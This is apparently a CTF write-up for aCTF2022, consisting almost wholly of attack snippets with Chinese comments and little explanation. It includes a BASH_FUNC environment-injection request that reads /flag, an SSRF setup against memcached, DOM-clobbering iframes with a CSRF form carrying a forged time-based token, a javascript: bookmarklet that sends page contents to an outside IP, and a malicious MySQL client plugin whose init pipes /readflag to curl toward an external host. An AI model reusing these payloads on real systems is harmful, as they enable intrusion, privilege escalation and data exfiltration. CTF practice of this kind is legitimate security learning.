aCTF2022 Wp

POST /cgi-bin/hello HTTP/1.1
Host: 123.60.84.229:10218
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Length: 184

------WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Disposition: form-data; name="BASH_FUNC_echo%%"
Content-Type: text/plain

() { cat /flag; }
------WebKitFormBoundarylNDKbe0ngCGdEiPM--

# start.sh
memcached -d -m 50 -p 11200 -u root

# app.py
app.config['SESSION_MEMCACHED'] = memcache.Client(['127.0.0.1:11200'])

app = Flask(__name__)
app.debug = True
app.secret_key = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(56))  # 随机key

app.config['SESSION_TYPE'] = 'memcached'
app.config['SESSION_PERMANENT'] = True
app.config['SESSION_USE_SIGNER'] = False
app.config['SESSION_KEY_PREFIX'] = 'actfSession:'
app.config['SESSION_MEMCACHED'] = memcache.Client(['127.0.0.1:11200'])  # memcache本地服务端地址

Session(app)

# 跳转至?url参数指定的网址
@app.route('/')
def index():
    buffer=BytesIO()    # 字节流缓冲区
    if request.args.get('url'):
        url = request.args.get('url')
        c = pycurl.Curl()   # 默认不跟随重定向 处理单一url 同名参数取第一个
        c.setopt(c.URL, url)    # url参数的全部 此时无过滤
        c.setopt(c.FTP_SKIP_PASV_IP, 0) # （不）跳过PASV的IP地址 ftp
        c.setopt(c.WRITEDATA, buffer)   # 为响应提供缓冲区
        blacklist = [c.PROTO_DICT, c.PROTO_FILE, c.PROTO_FTP, c.PROTO_GOPHER, c.PROTO_HTTPS, c.PROTO_IMAP, c.PROTO_IMAPS, c.PROTO_LDAP, c.PROTO_LDAPS, c.PROTO_POP3, c.PROTO_POP3S, c.PROTO_RTMP, c.PROTO_RTSP, c.PROTO_SCP, c.PROTO_SFTP, c.PROTO_SMB, c.PROTO_SMBS, c.PROTO_SMTP, c.PROTO_SMTPS, c.PROTO_TELNET, c.PROTO_TFTP]    # 禁用的协议
        allowProtos = c.PROTO_ALL
        for proto in blacklist:
            allowProtos = allowProtos&~(proto)
        c.setopt(c.PROTOCOLS, allowProtos)  # 还剩FTPS, HTTP, RTMPT, RTMPTE, RTMPTS，貌似可用的只有HTTP？
        c.perform()
        c.close()
        return buffer.getvalue().decode('utf-8')
    else:
        return redirect('?url=http://www.baidu.com',code=301)

python3 FTPserverForTLSpoison.py 1234 127.0.0.1 11200

const puppeteer = require('puppeteer');
const process = require('process')
const ADMIN_USERNAME = 'admin'
const ADMIN_PASSWORD = process.env.password
const FLAG = require('./config').FLAG
const view = async(url) => {
    const browser = await puppeteer.launch({
        headless: true,
        args: ['--no-sandbox', '--disable-setuid-sandbox']
    })
    const page = await browser.newPage()
    await page.goto('http://localhost:8000/login')  // 以admin登入
    await page.type("#username", ADMIN_USERNAME)
    await page.type("#password", ADMIN_PASSWORD)
    await page.click('#btn-login')
        // get flag1
    await page.goto(url, { timeout: 5000 }) // 访问我们的url 无过滤
        // get flag2
    await page.setJavaScriptEnabled(false)  // 禁用页面js
    await page.goto(url, { timeout: 5000 })
    await page.evaluate((url, FLAG) => {
        if (fff.lll.aaa.ggg.value == "this_is_what_i_want") {	// 页面标签？
            fetch(url + '?part2=' + btoa(encodeURIComponent(FLAG.substring(16))))   // 将后一部分flag作为query参数访问url 后半部分flag只有这种方式获取
        } else {
            fetch(url + '?there_is_no_flag')
        }
    }, url, FLAG)
    await browser.close()
}

exports.view = view

app.get('/flag', (req, res) => {
    if (!req.session.user) {
        res.send(FAKE_FLAG)
        return
    }
    User.findOne({ username: req.session.user }, (err, user) => {
        if (err) {
            res.send({ err: err })
            return
        }
        if (user.isAdmin) {
            // part 1
            res.send(FLAG.substring(0, 16))
        } else {
            res.send(FAKE_FLAG)
        }
    })
})

app.post('/beAdmin', (req, res) => {
    if (req.session.user != 'admin') {
        res.send("sorry, only admin can be admin")
        return
    }
    const username = req.body.username
    const csrftoken = req.body.csrftoken
    if (ValidateToken(csrftoken)) {
        User.updateMany({ username: username }, { isAdmin: true },
            (err, users) => {
                if (err) {
                    res.send('something error when being admin')
                    return
                }
                if (users.length == 0) {
                    res.send('no one can be admin')
                } else {
                    res.send('wow success wow')
                }
            }
        )
    } else {
        res.send('validate error')
    }
})

const ValidateToken = (Token) => {
    var sha256 = crypto.createHash('sha256');
    return sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex') === Token;
}

<iframe name=fff srcdoc="<iframe srcdoc='<input id=aaa name=ggg href=cid:Clobbered
value=this_is_what_i_want>test</input><a id=aaa>' name=lll>"></iframe>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    <form id="form" action="<http://localhost:8000/beAdmin>" method="post">
        <input name="username" value="awc">
        <input id="csrftoken" name="csrftoken" value="">
    </form>
    <iframe name=fff srcdoc="<iframe srcdoc='<input id=aaa name=ggg href=cid:Clobbered
value=this_is_what_i_want>test</input><a id=aaa>' name=lll>"></iframe>
    <script src="crypto-js.min.js"></script>	<!--同目录下传一份-->
    <script>
        csrftoken.value = CryptoJS.SHA256(Math.sin(Math.floor(Date.now() /
            1000)).toString()).toString(CryptoJS.enc.Hex);
        form.submit();
    </script>
</body>
</html>

javascript:s=q=>window.open('http://101.35.114.107:2301/?q='+encodeURIComponent(q));s('start');w=window.open('/flag');setTimeout(()=>{s('timeout');s(w.document.body.innerText)},1000)

RUN echo "\nSetHandler application/x-httpd-php\n" >> /etc/apache2/apache2.conf
RUN echo "\nLoadModule php7_module modules/libphp7.so\n" >> /etc/apache2/apache2.conf

#include <mysql/client_plugin.h>
#include <mysql.h>
#include <stdio.h>

/*
Ubuntu x86_64:
apt install libmysqlclient-dev
gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c
NOTE: the plugin_name MUST BE the full name with the directory traversal!!!
*/

static int evil_init(char * a, size_t b , int c , va_list ds)
{
    system("/readflag | curl -XPOST http://101.35.114.107:8426/ -d @-");
    return NULL;
}

static int evilplugin_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql)
{
int res;
  res= vio->write_packet(vio, (const unsigned char *) mysql->passwd, strlen(mysql->passwd) + 1);
  return CR_OK;
}

mysql_declare_client_plugin(AUTHENTICATION)
  "auth_simple",  /* plugin name */
  "Author Name",                        /* author */
  "Any-password authentication plugin", /* description */
  {1,0,0},                              /* version = 1.0.0 */
  "GPL",                                /* license type */
  NULL,                                 /* for internal use */
  evil_init,                                 /* no init function */
  NULL,                                 /* no deinit function */
  NULL,                                 /* no option-handling function */
  evilplugin_client                    /* main function */
mysql_end_client_plugin;

gcc t.c -fPIC -shared -o poc.so